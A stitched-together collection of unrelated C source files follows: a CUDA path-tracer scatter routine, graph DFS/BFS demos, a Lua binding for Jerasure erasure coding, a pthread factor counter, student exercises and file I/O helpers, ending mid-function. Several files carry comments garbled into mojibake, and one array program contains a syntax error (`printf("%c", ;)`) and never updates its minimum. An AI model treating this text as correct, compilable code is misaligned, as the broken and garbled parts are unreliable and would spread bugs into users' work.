else if (abs(specDir.y) < SQRT_OF_ONE_THIRD) { directionNotNormal = glm::vec3(0, 1, 0); } else { directionNotNormal = glm::vec3(0, 0, 1); } // Use not-normal direction to generate two perpendicular directions glm::vec3 perpendicularDirection1 = glm::normalize(glm::cross(specDir, directionNotNormal)); glm::vec3 perpendicularDirection2 = glm::normalize(glm::cross(specDir, perpendicularDirection1)); return z * specDir + x * perpendicularDirection1 + y * perpendicularDirection2; } /** * Scatter a ray with some probabilities according to the material properties. * For example, a diffuse surface scatters in a cosine-weighted hemisphere. * A perfect specular surface scatters in the reflected ray direction. * In order to apply multiple effects to one surface, probabilistically choose * between them. * * The visual effect you want is to straight-up add the diffuse and specular * components. You can do this in a few ways. This logic also applies to * combining other types of materias (such as refractive). * * - Always take an even (50/50) split between a each effect (a diffuse bounce * and a specular bounce), but divide the resulting color of either branch * by its probability (0.5), to counteract the chance (0.5) of the branch * being taken. * - This way is inefficient, but serves as a good starting point - it * converges slowly, especially for pure-diffuse or pure-specular. * - Pick the split based on the intensity of each material color, and divide * branch result by that branch's probability (whatever probability you use). * * This method applies its changes to the Ray parameter `ray` in place. * It also modifies the color `color` of the ray in place. * * You may need to change the parameter list for your purposes! */ __host__ __device__ glm::vec3 ColorInTex(int texId,glm::vec3**texs,glm::vec2*info,glm::vec2 uv) { int xSize = info[texId].x; int ySize = info[texId].y; if (uv.x < 0 || uv.y < 0 || uv.x >1 || uv.y >1) return glm::vec3(0, 0, 0); int x = (float)(uv.x*(float)xSize); int y = (float)(uv.y*(float)ySize); return texs[texId][(y * xSize) + x]; } __host__ __device__ glm::vec3 scatterRay( Ray &ray, bool outside, float intrT, glm::vec3 intersect, glm::vec3 normal, const Material &m, glm::vec3**t, glm::vec2*info, glm::vec2 uv, thrust::default_random_engine &rrr) { // TODO: implement this. // A basic implementation of pure-diffuse shading will just call the // calculateRandomDirectionInHemisphere defined above. enum RayType { DiffRay, // Diffuse ray : calculateRandomDirectionInHemisphere ReflRay, // (Mirror) Reflected ray: glm::reflect(ray.direction, normal); RefrRay, // (Transparent) refracted ray : n1/n2 SpecRay, // (Non-perfect Mirror) calculateRandomSpecularDirection SSSRay_o, // SSSRay_i }; int ray_type; float specProb = 0; thrust::uniform_real_distribution<float> u01(0, 1); if (ray.terminated) return ray.carry; glm::vec3 matColor = m.color; glm::vec3 matSpecClr = m.specular.color; if (m.TexIdx!=-1) { matColor = ColorInTex(m.TexIdx,t,info, uv); //matSpecClr = matColor; //printf("UV:%3f,%3f\n color:%3f,%3f,%3f\n",uv.x,uv.y, matColor.x, matColor.y, matColor); //matColor = glm::vec3(0, 1, 0); } if (m.emittance > 0) { ray.carry *= m.emittance*matColor;// m.color; ray.terminated = true; return ray.carry; } // Shading else if (m.hasRefractive) {//later float cos_thi = glm::dot(glm::normalize(-ray.direction), glm::normalize(normal)); float R0 = (m.indexOfRefraction-1) / (1+m.indexOfRefraction); R0 *= R0; float R_thi = R0 + (1 - R0)*pow(1 - cos_thi, 5); if (outside) { if (u01(rrr)<R_thi) ray_type = ReflRay; //fresnel else ray_type = RefrRay; } else ray_type = RefrRay; } else if (m.hasReflective) { if (m.bssrdf>0) { if (outside) //from outside { float cos_thi = glm::dot(glm::normalize(-ray.direction), glm::normalize(normal)); float R_thi = pow(1 - cos_thi, 5); if (u01(rrr) < R_thi)//later: what value to choose? ray_type = ReflRay; else ray_type = SSSRay_o; } else//inside ray_type = SSSRay_i; } else ray_type = ReflRay; } else if (m.bssrdf > 0) //subsurface scattering : try brute-force bssrdf { //http://noobody.org/bachelor-thesis.pdf //(1) incident or exitant or currently inside obj ? // if incident: if (outside) //from outside { if (u01(rrr) > -0.1)//later: what value to choose? ray_type = SSSRay_o; else ray_type = DiffRay; } else//inside ray_type = SSSRay_i; } else // diffuse / specular { //!!! later : specular //http://www.tomdalling.com/blog/modern-opengl/07-more-lighting-ambient-specular-attenuation-gamma/ if (m.specular.exponent > 0) { specProb = glm::length(matSpecClr); //specProb = specProb / (specProb + glm::length(m.color)); specProb = specProb / (specProb + glm::length(matColor)); if (u01(rrr) < specProb) //spec ray ray_type = SpecRay; else//diffuse ray ray_type = DiffRay; } else ray_type = DiffRay; } switch (ray_type) { case DiffRay: { ray.origin = getPointOnRay(ray, intrT); ray.carry *= matColor;//m.color;// *(1.f / (1 - specProb)); ray.direction = glm::normalize(calculateRandomDirectionInHemisphere(normal, rrr)); } break; case ReflRay: { ray.origin = getPointOnRay(ray, intrT); ray.direction = glm::normalize(glm::reflect(ray.direction, normal)); ray.carry *= matSpecClr; } break; case RefrRay: { float n = m.indexOfRefraction; if (outside) n = 1 / n; float angle = 1.0f - glm::pow(n, 2) * (1.0f - glm::pow(glm::dot(normal, ray.direction), 2)); if (angle < 0) { ray.origin = getPointOnRay(ray, intrT); ray.direction = glm::normalize(glm::reflect(ray.direction, normal)); ray.carry *= matSpecClr; } else { ray.origin = getPointOnRay(ray, intrT + 0.001f); ray.direction = glm::normalize(glm::refract(ray.direction, normal, n)); ray.carry *= matColor;// m.color; } } break; case SpecRay: { ray.origin = getPointOnRay(ray, intrT); glm::vec3 specDir = glm::reflect(ray.direction, normal); ray.direction = glm::normalize(calculateRandomSpecularDirection(specDir, m.specular.exponent, rrr)); ray.carry *= matSpecClr;// *(1.f / specProb); } break; case SSSRay_o: { ray.origin = getPointOnRay(ray, intrT + .0002f); glm::vec3 refraDir = glm::normalize(calculateRandomDirectionInHemisphere(-normal, rrr)); ray.carry *= matColor;// m.color; ray.direction = refraDir; } break; case SSSRay_i: { //Sigma_a: Absorption coefficient //Sigma_s: Scattering coefficient // Extinction coefficient Sigma_t = Sigma_s+Sigma_a float Sigma_t = m.bssrdf; float so = -log(u01(rrr)) / Sigma_t; float si = glm::length(getPointOnRay(ray, intrT) - ray.origin); if (si <= so) //turns into exitant, go out of the objects //if (true) { //ray.carry *= m.color; ray.origin = getPointOnRay(ray, intrT + .0002f); ray.direction = glm::normalize(calculateRandomDirectionInHemisphere(-normal, rrr)); } else //stays in the obj, pick new direction and scatter distance { //ray.carry *= m.color; ray.origin = getPointOnRay(ray, so); ray.direction = -glm::normalize(calculateRandomDirectionInHemisphere(ray.direction, rrr)); } } break; default: break; } return ray.carry; }
C
#pragma once #pragma warning (disable:4996) #include <windows.h> // ȭ ʱȭ, 2 void screenInit(); // ȭ Ŭ void screenClear(); // Ȱȭ ۿ Ȱȭ ¸ ȯ void screenFlipping(); // 2 ۸ void screenRelease(); // x, yǥ string void screenPrint(int x, int y, char* string); // ȭ鿡 void setColor(unsigned short color);
C
#include <stdio.h> int main() { int a=10,b=12; printf("%d\n",a&b); printf("%d\n",a|b); printf("%d",a^b); return 0; }
C
/*/////////////////////////////////////////////////////////////*/ /* 图的深度优先遍历 */ /*/////////////////////////////////////////////////////////////*/ /* 整理优化by:千百度QAIU QQ:736226400 编译环境:gcc/tcc 2017/10/22 */ #include <stdlib.h> #include <conio.h> #include <stdio.h> struct node /* 图顶点结构定义 */ { int vertex; /* 顶点数据信息 */ struct node *nextnode; /* 指下一顶点的指标 */ }; typedef struct node *graph; /* 图形的结构新型态 */ struct node head[9]; /* 图形顶点数组 */ int visited[9]; /* 遍历标记数组 */ /********************根据已有的信息建立邻接表********************/ void creategraph(int node[20][2],int num)/*num指的是图的边数*/ { graph newnode; /*指向新节点的指针定义*/ graph ptr; int from; /* 边的起点 */ int to; /* 边的终点 */ int i; for ( i = 0; i < num; i++ ) /* 读取边线信息,插入邻接表*/ { from = node[i][0]; /* 边线的起点 */ to = node[i][1]; /* 边线的终点 */ /* 建立新顶点 */ newnode = ( graph ) malloc(sizeof(struct node)); newnode->vertex = to; /* 建立顶点内容 */ newnode->nextnode = NULL; /* 设定指标初值 */ ptr = &(head[from]); /* 顶点位置 */ while ( ptr->nextnode != NULL ) /* 遍历至链表尾 */ ptr = ptr->nextnode; /* 下一个顶点 */ ptr->nextnode = newnode; /* 插入节点 */ } } /********************** 图的深度优先搜寻法********************/ void dfs(int current) { graph ptr; visited[current] = 1; /* 记录已遍历过 */ printf("vertex[%d]\n",current); /* 输出遍历顶点值 */ ptr = head[current].nextnode; /* 顶点位置 */ while ( ptr != NULL ) /* 遍历至链表尾 */ { if ( visited[ptr->vertex] == 0 ) /* 如过没遍历过 */ dfs(ptr->vertex); /* 递回遍历呼叫 */ ptr = ptr->nextnode; /* 下一个顶点 */ } } /****************************** 主程序******************************/ int main() { graph ptr; int node[20][2] = { {1, 2}, {2, 1}, /* 边线数组 */ {1, 3}, {3, 1}, {1, 4}, {4, 1}, {2, 5}, {5, 2}, {2, 6}, {6, 2}, {3, 7}, {7, 3}, {4, 7}, {4, 4}, {5, 8}, {8, 5}, {6, 7}, {7, 6}, {7, 8}, {8, 7} }; int i; clrscr(); for ( i = 1; i <= 8; i++ ) /* 顶点数组初始化 */ { head[i].vertex = i; /* 设定顶点值 */ head[i].nextnode = NULL; /* 指针为空 */ visited[i] = 0; /* 设定遍历初始标志 */ } creategraph(node,20); /* 建立邻接表 */ printf("Content of the gragh's ADlist is:\n"); for ( i = 1; i <= 8; i++ ) { printf("vertex%d ->",head[i].vertex); /* 顶点值 */ ptr = head[i].nextnode; /* 顶点位置 */ while ( ptr != NULL ) /* 遍历至链表尾 */ { printf(" %d ",ptr->vertex); /* 印出顶点内容 */ ptr = ptr->nextnode; /* 下一个顶点 */ } printf("\n"); /* 换行 */ } printf("\nThe end of the dfs are:\n"); dfs(1); /* 打印输出遍历过程 */ printf("\n"); /* 换行 */ puts(" Press any key to quit..."); getch(); return 0; }
C
#include "holberton.h" /** * string_toupper - changes all lowercase characters of a string to uppercase * @s: string to change * Return: changed string */ char *string_toupper(char *s) { char *x; for (x = s; *x; x++) { if (*x >= 'a' && *x <= 'z') *x -= 32; } return (s); }
C
#include "util.h" #define MAX 501 // 栈 int stack[501]; // 记录位置 int top = -1; // stack大小 // 返回值 int **ret = NULL; int *sizes = NULL; int sz = 0; void output() { int *t = (int*)malloc(sizeof(int) * (top+1)); for (int i = 0; i <= top; i++) { t[i] = stack[i]; } sizes[sz] = top + 1; ret[sz++] = t; } void go(int data[], int n, int start) { for (int i = start; i < n; i++) { stack[++top] = data[i]; if (top + 1 == n) { output(); } else { go(data, n, i+1); } while (i+1 < n && data[i] == data[i+1]) i++; --top; } } int cmp(const void *a, const void *b) { return *(int*)a > *(int*)b; } int** permuteUnique(int* nums, int numsSize, int* returnSize, int** returnColumnSizes){ top = -1; sz = 0; ret = (int**)malloc(sizeof(int*) * MAX); sizes = (int*)malloc(sizeof(int) * MAX); qsort(nums, numsSize, sizeof(int), cmp); go(nums, numsSize, 0); *returnSize = sz; *returnColumnSizes = sizes; return ret; } int main(int argc, char *argv[]) { char *file = "data/47.txt"; FILE *rp = fopen(file, "r"); char s[128]; while (fgets(s, 128, rp)) { if (s[0] == '#') continue; int a[32]; int n = string_to_array(s, a); print_array(a, n); printf("start....\n"); // TODO int size; int *colsize = NULL; int **ret = permuteUnique(a, n, &size, &colsize); printf("size:%d\n", size); for (int i = 0; i < size; i++) { print_array(ret[i], n); } printf("\n"); } fclose(rp); return 0; }
C
#include "hyperion.h" #include <stdio.h> #include <stdlib.h> BOOL fileToMem(const char* file_name, struct OpenFile* open_file){ //open input file verbose("Opening %s\n", file_name); FILE* f1 = fopen(file_name,"rb"); if(f1 == NULL) { fprintf(stderr, "Could not open %s\n", file_name); return FALSE; } /* obtain file size: */ fseek (f1, 0, SEEK_END); int f1_size = ftell (f1); rewind (f1); /* copy file to memory */ unsigned char* file1 = (unsigned char*) malloc(f1_size); if(file1 == NULL) { fprintf(stderr, "Could not allocate memory for input file size %d\n", f1_size); return FALSE; } size_t read_bytes = fread((void*) file1, 1, f1_size, f1); if(read_bytes != f1_size) { fprintf(stderr, "Could not copy input file into memory: %d %d\n", read_bytes, f1_size); fclose(f1); return FALSE; } /* close input files */ fclose(f1); //file opened successfully open_file->file = file1; open_file->size = f1_size; verbose("Successfully copied file to memory location: 0x%x\n", (unsigned long int) open_file->file); return TRUE; } BOOL memToFile(const char* file_name, char* content, unsigned long size, BOOL append){ FILE* f1 = NULL; if(!append) { f1 = fopen(file_name,"wb"); } else{ f1 = fopen(file_name,"ab"); } if(f1 == NULL) { fprintf(stderr, "Could not open %s\n", file_name); return FALSE; } size_t bytes_written = fwrite(content, sizeof(char), size, f1); if(bytes_written != size) { fclose(f1); fprintf(stderr, "Could not copy memory to output file: %d %d\n", bytes_written, size); return FALSE; } /* close input files */ fclose(f1); return TRUE; }
C
/***************************************************** * NAME: assignment_5.c * * * * AUTHOR: Devarsh Ruparelia * * * * EMAIL: [email protected] * * * * PURPOSE: Program to find the Area of a triangle. * * * * DATE: 01/05/2016 * * * *****************************************************/ #include <stdio.h> #include <math.h> int main() { // Declaration of Variables: float side1, side2, side3; float sperimeter; double area; // User Input: printf("Welcome to the Triangle Area Calculator Program!\n"); printf("Enter the values of sides below with one space between each:\n"); scanf("%f %f %f", &side1, &side2, &side3); // Processing the Input: sperimeter = (side1 + side2 + side3)/2; area = (double)sqrt(sperimeter * (sperimeter - side1) * (sperimeter - side2) * (sperimeter - side3)); // Output: printf("Area of the Triangle = %f\n", area); printf("Processed completely.\n"); }
C
#include <hash_internals.h> int hashtable_print(t_hash *hash, int (*print_fun)(), int fd, size_t size) { const int wfd = fd + 2 * (fd == -1); const t_node *it; unsigned int i; int tmp; int ret; i = -1; ret = 0; tmp = 0; while (++i < hash->max_size) { it = hash->data[i].head; if (!it) tmp = write(wfd, "(uninitialized)", 15); else { while (it) { write(1, "[\'", 2); write(1, it->key, ft_strlen(it->key)); write(1, "\'=\'", 3); if (fd >= 0 && size != SIZE_MAX) (*print_fun)(fd, it->data, size); else if (fd >= 0) (*print_fun)(fd, it->data); else if (size != SIZE_MAX) (*print_fun)(it->data, size); else (*print_fun)(it->data); write(1, "\']", 2); it = it->next; if (it) tmp = write(wfd, ", ", 2); } } if (tmp == -1) return (-1); ret += tmp; tmp = write(wfd, "\n", 1); if (tmp == -1) return (-1); ret += tmp; } return (ret); }
C
/** * Lua binding for Jerasure's Vandermonde Reed-Solomon. * w must be 8,16,32 * k + m must be <= 2^w */ #define LUA_LIB #include "lua5.2/lua.h" #include "lua5.2/lauxlib.h" #include "lua5.2/lualib.h" #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <gf_rand.h> #include "jerasure.h" #include "reed_sol.h" #include "data_and_coding_printer.h" static void check_args(int k, int m, int w) { if ( k <= 0 ) { printf("Invalid value for k.\n"); exit(0); } if ( m <= 0 ) { printf("Invalid value for m.\n"); exit(0); } if ( w <= 0 ) { printf("Invalid value for w.\n"); exit(0); } if (w <= 16 && k + m > (1 << w)) { printf("k + m is too big.\n"); exit(0); } } char *buffers[100]; int nextBufferIndex = 0; /* allocate memory such that data and coding devices are aligned */ char *allocateAligned(int size, char* alignmentTarget) { char* buffer = (char *)malloc(sizeof(char) * size + 16); buffers[nextBufferIndex] = buffer; nextBufferIndex++; int difference = buffer - alignmentTarget; if (difference % 16 != 0) { return buffer + (16 - difference % 16)%16; } else { return buffer; } } /* free memory allocated for aligned data and coding devices */ void freeAlignedBuffers() { int i; for (i = 0; i < nextBufferIndex; i++) { free(buffers[i]); } nextBufferIndex = 0; } /* wrapper for jerasure's encode function */ static int encode (lua_State *L) { /* get k, m, w, file size, file content from the stack */ int k = luaL_checknumber(L, 1); int m = luaL_checknumber(L, 2); int w = luaL_checknumber(L, 3); int size = luaL_checknumber(L, 4); char* content = luaL_checkstring(L, 5); check_args(k, m, w); //printf("encode(k = %d, m = %d, w = %d, bytes-of-data = %d)\n\n", k, m, w, size); int i, j, l; int *matrix; char **data, **coding; int deviceSize, deviceSizeInBytes, alignment; char** buffers; deviceSize = 1 + (size - 1) / (k * w/8); // size / (k * w/8) round up alignment = 16/(w/8); deviceSize = alignment * (deviceSize/alignment) + alignment; deviceSizeInBytes = deviceSize * w/8; buffers = (char**)malloc(sizeof(char*) * (k + m)); data = (char**)malloc(sizeof(char*) * k); coding = (char **)malloc(sizeof(char*)*m); for (i = 0; i < m; i++) { coding[i] = allocateAligned(deviceSizeInBytes, content); } /* fill in data devices; add padding, if necessary */ for ( i = 0; i < k; i++ ) { int offsetInContent = i * deviceSizeInBytes; if (i < (size / deviceSizeInBytes)) { data[i] = content + offsetInContent; } else { int lastContentSize = (size - offsetInContent); int paddingSize; data[i] = allocateAligned(deviceSizeInBytes,content); if (lastContentSize > 0) { paddingSize = deviceSizeInBytes - lastContentSize; memcpy(data[i], content + offsetInContent, lastContentSize); memset(data[i] + lastContentSize, '0', paddingSize); } else { memset(data[i], '0', deviceSizeInBytes); } } } //printDataAndCoding(k, m, w, deviceSizeInBytes, data, coding); matrix = reed_sol_vandermonde_coding_matrix(k, m, w); jerasure_matrix_encode(k, m, w, matrix, data, coding, deviceSizeInBytes); //printf("\nEncoding Complete:\n\n"); //printDataAndCoding(k, m, w, deviceSizeInBytes, data, coding); /* precede data and coding devices by their index (on sizeof(int) bytes) */ for ( i = 0; i < k; i++ ) { char * dataDeviceArr = (char *) malloc(sizeof(char) * (sizeof(int) + deviceSizeInBytes)); memcpy(dataDeviceArr, &i, sizeof(int)); memcpy(dataDeviceArr + sizeof(int), data[i], deviceSizeInBytes); lua_pushlstring(L, dataDeviceArr, deviceSizeInBytes + sizeof(int)); free(dataDeviceArr); } for ( i = 0; i < m; i++ ) { int index = i + k; char * codingDeviceArr = (char *) malloc(sizeof(char) * (deviceSizeInBytes + sizeof(int))); memcpy(codingDeviceArr, &index, sizeof(int)); memcpy(codingDeviceArr + sizeof(int), coding[i], deviceSizeInBytes); lua_pushlstring(L, codingDeviceArr, deviceSizeInBytes + sizeof(int)); free(codingDeviceArr); } freeAlignedBuffers(); free(data); free(coding); return (k + m); } /* wrapper for jerasure's encode function */ static int decode (lua_State *L) { /* get k, m, w, deviceSize, and devices (should be at least k) from the stack */ int k = luaL_checknumber(L, 1); int m = luaL_checknumber(L, 2); int w = luaL_checknumber(L, 3); int deviceSize = luaL_checknumber(L, 4); /* adjust device size, as 4 bytes were used for data device id */ deviceSize = (deviceSize - 4) / (w/8); check_args(k, m, w); //printf("decode( k = %d, m = %d, w = %d, deviceSize = %d)\n\n", k, m, w, deviceSize); /* pop k, m, w, deviceSize from stack */ lua_remove(L,1); lua_remove(L,1); lua_remove(L,1); lua_remove(L,1); int num, i, j; int *erasures; /* ids of missing coded data; last elem is -1 */ int *existing; int *matrix; char **data, **coding; int deviceSizeInBytes = deviceSize * w/8; int numErasures = 0; erasures = (int *)malloc(sizeof(int) * (k+m)); existing = (int *)malloc(sizeof(int) * (k+m)); for (i = 0; i < (k+m); i++) { existing[i] = 0; } luaL_checktype(L, 1, LUA_TTABLE); lua_pushnil(L); data = (char**)malloc(sizeof(char*) * k); coding = (char **)malloc(sizeof(char*) * m); /* get devices from the stack */ char * alignmentTarget = NULL; while(lua_next(L, -2) != 0) { if(lua_isstring(L, -1)) { char* rawDataDevice = luaL_checkstring(L, -1); /* first sizeof(int) positions represent the index of the data device */ int index; memcpy(&index, rawDataDevice, sizeof(int)); existing[index] = 1; if (alignmentTarget == NULL) { alignmentTarget = rawDataDevice + sizeof(int); } if (index < k) { data[index] = rawDataDevice + sizeof(int); } else { coding[index - k] = rawDataDevice + sizeof(int); } } lua_pop(L, 1); } /* fill in with '0' the missing data and coding devices */ for (i = 0; i < (k + m); i++) { if (existing[i] == 0) { if (i < k) { data[i] = allocateAligned(deviceSizeInBytes,alignmentTarget); memset(data[i], '0', deviceSizeInBytes); } else { coding[i - k] = allocateAligned(deviceSizeInBytes,alignmentTarget); memset(coding[i - k], '0', deviceSizeInBytes); } } } /* store indices of missing devices in erasures */ for (i = 0; i < (k + m); i++) { if (existing[i] == 0) { erasures[numErasures] = i; numErasures++; } } /* last element of erasures must be -1*/ erasures[numErasures] = -1; numErasures++; //printDataAndCoding(k, m, w, deviceSizeInBytes, data, coding); matrix = reed_sol_vandermonde_coding_matrix(k, m, w); i = jerasure_matrix_decode(k, m, w, matrix, 1, erasures, data, coding, deviceSizeInBytes); //printf("State of the system after decoding:\n\n"); //printDataAndCoding(k, m, w, deviceSizeInBytes, data, coding); /* push decoded data devices on the stack */ char *content = (char*) malloc(sizeof(char) * deviceSizeInBytes * k); for ( i = 0; i < k; i++ ) { memcpy(content + (i * deviceSizeInBytes), data[i], deviceSizeInBytes); } lua_pushlstring(L, content, deviceSizeInBytes * k); free(existing); free(erasures); freeAlignedBuffers(); free(data); free(coding); return 1; } static const struct luaL_Reg luajerasure_funcs[] = { { "encode", encode}, { "decode", decode }, {NULL, NULL} }; int luaopen_luajerasure(lua_State *L) { luaL_openlib(L, "luajerasure", luajerasure_funcs, 0); return 1; }
C
#include <pthread.h> #include <inttypes.h> #include <stdio.h> int input = 0; int result1 = 0; int result2 = 0; void * fact_worker1(void * arg) { result1 = 0; for (uint64_t i = 1; i < input / 2; i++) if (input % i == 0) result1++; return NULL; } void * fact_worker2(void * arg) { result2 = 0; for (uint64_t i = input / 2; i <= input; i++) if (input % i == 0) result2++; return NULL; } uint64_t factors_mp(uint64_t num) { input = num; pthread_t thread1, thread2; pthread_create(&thread1, NULL, fact_worker1, NULL); pthread_create(&thread2, NULL, fact_worker2, NULL); pthread_join(thread1, NULL); pthread_join(thread2, NULL); return result1 + result2; } int main(int argc, char * argv[]) { uint64_t input = 2000000000; printf("Factors of %"PRIu64":%"PRIu64"\n", input, factors_mp(input)); return 0; }
C
#include <stdio.h> int main(){ int m1; scanf("%d", &m1); int i; int array1[m1]; for(i = 0; i < m1; i++){ scanf("%d", &array1[i]); } int min= array1[0] , max= array1[m1 / 2]; for(i = 0; i < (m1 / 2); i++){ if(min > array1[i]){ printf("%c", ; } } for(i = m1 /2; i < m1; i++){ if(max < array1[i]){ max = array1[i]; } } printf("%d\n", max); printf("%d\n", min); if(min == max){ printf("valid\n"); printf("%d", min); }else{ printf("tidak valid\n"); printf("%d\n", min); printf("%d\n", max); } return 0; }
C
#include <stdio.h> #include <stdlib.h> int main() { printf("Calificacion de un alumno \n"); int calificacion; printf("Ingresa la calificacion del alumno sobre 100: \n"); scanf ("%i", &calificacion); if (calificacion < 60) printf("Esta reprobado"); else printf("Esta aprobado"); if (calificacion > 90) printf("\n Felicidades!! =D "); return 0; }
C
// 4.16 Does the UNIX System have a fundamental limitation on the depth of a directory tree? To find out, write a program that creates a directory and then changes to that directory, in a loop. Make certain that the length of the absolute pathname of the leaf of this directory is greater than your system’s PATH_MAX limit. Can you call getcwd to fetch the directory’s pathname? How do the standard UNIX System tools deal with this long pathname? Can you archive the directory using either tar or cpio? #include <stdio.h> #include <stdlib.h> #include <limits.h> #include <unistd.h> #include <sys/stat.h> #define DIRNAME "testdir" int main(void) { char buf[PATH_MAX]; printf("%d\n", PATH_MAX); for (;;) { if (mkdir(DIRNAME, 0755) < 0) { printf("mkdir failed\n"); break; } if (chdir(DIRNAME) < 0) { printf("chrdir failed\n"); break; } char *p = getcwd(buf, sizeof(buf)); if (!p) { printf("getcwd failed\n"); break; } printf("getcwd %s\n", p); } return 0; }
C
/* readfile.c */ /* Read a csv file. */ /* This code is released to the public domain. */ /* "Share and enjoy..." ;) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> struct col { char heading[10]; int data[4]; }; struct col mycol[5]; int main() { int i ; /* Set the "obs" column heading. */ /* mycol[0].heading = "Obs" ; */ FILE *fp = fopen("data2.csv", "r") ; if ( fp != NULL ) { fscanf(fp, "%5s, %5s, %5s, %7s, %7s \n", mycol[0].heading, mycol[1].heading, mycol[2].heading, mycol[3].heading, mycol[4].heading ) ; for(i=1; i<5; i++) { fscanf(fp, "%2d, %2d, %2d, %4d, %4d \n", &mycol[0].data[i], &mycol[1].data[i], &mycol[2].data[i], &mycol[3].data[i], &mycol[4].data[i] ); /* i++; */ } /* EOF */ fclose(fp); } /* File exists */ /* Print the file */ printf("%5s %5s %5s %7s %7s \n", mycol[0].heading, mycol[1].heading, mycol[2].heading, mycol[3].heading, mycol[4].heading ); int j; for (j=1; j<5; j++) { printf("%2d %2d %2d %4d %4d \n", mycol[0].data[j], mycol[1].data[j], mycol[2].data[j], mycol[3].data[j], mycol[4].data[j] ); } return 0; }
C
#include <stdio.h> #define NUM 3 //*************************************************** /** * 中央 */ //*************************************************** int main(void) { int array[NUM]; int i; int max, min, median; printf("整数を3つ入力してください。\n"); for (i = 0; i < NUM; i++) { printf("%dつ目 > ", i + 1); scanf("%d", &array[i]); } min = max = median = array[0]; for (i = 1; i < NUM; i++) { if (array[i] > max) { max = array[i]; } if (array[i] < min) { min = array[i]; } } for (i = 0; i < NUM; i++) { if (min < array[i] && array[i] < max) { median = array[i]; } } printf("中央値は %d です。", median); return 0; } /* 期末課題 C-2 中央値------------------------------------------------------------------------------------ 3つの整数を入力するとその中央値(大きさの順に並べたときの真ん中の値)を表示するプログラムを作ってください。 int型の値を3つ受け取り、その中央値をint型で返す関数median()を作って、それを使ってください[a]。 実行例1 整数を3つ入力してください。 1つ目 > 5 2つ目 > 3 3つ目 > 4 中央値は 4 です。 実行例2 整数を3つ入力してください。 1つ目 > 3 2つ目 > 3 3つ目 > 5 中央値は 3 です。 実行例3 整数を3つ入力してください。 1つ目 > 5 2つ目 > 4 3つ目 > 5 中央値は 5 です。 */
C
#include <assert.h> #include <stdio.h> #include <stdlib.h> enum { NFST = 10 }; char pi_number() { // TODO: your code here } int main() { int i; char firstdigs[NFST] = {1,1,0,0,1,0,0,1,0,0}; for (i = 0; i < NFST; ++i) { char nextdig = pi_number(); if (nextdig != firstdigs[i]) { printf("Error in digit %d\n", i); abort(); } } return 0; }
C
#include<stdio.h> #include<stdlib.h> #define OK 1 #define ERROR 0 #define MAX_VERTAX_SIZE 20 typedef char VerElemType; typedef char ElemType; typedef struct Graph { VerElemType VertaxMatrix[MAX_VERTAX_SIZE]; int AdjacentMatrix[MAX_VERTAX_SIZE][MAX_VERTAX_SIZE]; int VertaxNum; int EageNum; }Graph; //УͼĹȱʹ typedef struct QueueNode { ElemType data; struct QueueNode* next; }QueueNode, *QueueNodePtr; typedef struct Queue{ QueueNodePtr front; QueueNodePtr rear; }Queue; void menu( ) { printf("********************\n"); printf("***1.ȱ***\n"); printf("***2.ȱ***\n"); printf("*****0.˳*****\n"); printf("********************\n"); } int InitQueue(Queue* q) //ʼ { (*q).front = (QueueNodePtr)malloc(sizeof(struct QueueNode)); (*q).rear = (*q).front; (*q).rear->next = NULL; return OK; } int EnterQueue(Queue* q, ElemType e) // { QueueNodePtr n; n = (QueueNode*)malloc(sizeof(struct QueueNode)); n->data = e; n->next = q->rear->next; q->rear->next = n; q->rear = n; return OK; } int DeleteQueue(Queue* q, ElemType* e) // { QueueNodePtr p; if( q->front == q->rear ) { printf("Empty\n"); return ERROR; } p = q->front->next; *e = p->data; q->front->next = p->next; free(p); if( p == q->rear ) q->rear = q->front; return OK; } int IsQueueEmpty(Queue q) //ж϶ǷΪ { return q.front == q.rear ? OK : ERROR; } //λij± int LocateVertax(Graph G, VerElemType ver) { int i; for( i = 0; i < G.VertaxNum; i++ ) { if( G.VertaxMatrix[i] == ver ) return i; } return -1; } int CreateUndigraph(Graph* G) //ͼ { int i,j,k; VerElemType x,y; printf("ͼ\n"); printf("붥ͻĿ: "); scanf("%d %d%*c",&(*G).VertaxNum, &(G->EageNum)); printf(" 붥Ԫصֵ"); for( i = 0; i < G->VertaxNum; i++ ) { scanf("%c%*c", &(G->VertaxMatrix[i])); } for( i = 0; i < G->VertaxNum; i++ ) for( j = 0; j < G->VertaxNum; j++ ) G->AdjacentMatrix[i][j] = 0; printf("йߵ: " ); for( k = 0; k < G->EageNum; k++ ) { scanf("%c %c%*c", &x, &y); i = LocateVertax(*G, x); j = LocateVertax(*G, y); G->AdjacentMatrix[i][j] = G->AdjacentMatrix[j][i] = 1; } return OK; } //ͼȱ //vĵһڽӶ㣬ûڽӶ㣬-1 int FirstAdjacentVertax(Graph G, VerElemType v) { int index_v = LocateVertax(G, v); int i; for( i = 0; i < G.VertaxNum; i++ ) { if( G.AdjacentMatrix[index_v][i] == 1) return i; } return -1; } //wvڽӵ㣬vijw(wʼ)һڽӶ㣬û򷵻-1 int NextAdjacentVertax(Graph G, VerElemType v, VerElemType w) { int index_v = LocateVertax(G, v); int index_w = LocateVertax(G, w); int i; for( i = index_w + 1; i < G.VertaxNum; i++ ) { if( G.AdjacentMatrix[index_v][i] == 1 ) return i; } return -1; } // vĵһڽӵ㿪ʼȱ // Ȼvĵڶڽӿʼȱֱûڽӵ int visitedArray[MAX_VERTAX_SIZE]; void visit(VerElemType c) { printf("%c ", c); } VerElemType GetVertaxValue(Graph G, int position) { return G.VertaxMatrix[position]; } int DFS(Graph G, VerElemType v) { //Depth First Search VerElemType w; visit(v); visitedArray[LocateVertax(G, v)] = 1; for(w = GetVertaxValue(G, FirstAdjacentVertax(G, v)); LocateVertax(G, w) != -1; w = GetVertaxValue(G, NextAdjacentVertax(G, v, w))) { if( visitedArray[LocateVertax(G, w)] != 1 ) DFS(G, w); } return OK; } int DFSTraverse(Graph G) { int i; for( i = 0; i < G.VertaxNum; i++ ) { visitedArray[i] = 0; } for( i = 0; i < G.VertaxNum; i++) { if( visitedArray[i] == 0 ) { DFS(G, GetVertaxValue(G, i)); } } return OK; } //һӣеԪسӣûзʹvisitʣеڽӶ int BFSTraverse(Graph G) { ElemType c; Queue q; InitQueue(&q); int i,j; for( i = 0; i < G.VertaxNum; i++ ) visitedArray[i] = 0; for( i = 0; i < G.VertaxNum; i++ ) { if( visitedArray[i] == 0 ) { EnterQueue(&q, G.VertaxMatrix[i]); visitedArray[i] = 1; while( IsQueueEmpty(q) != OK ) { 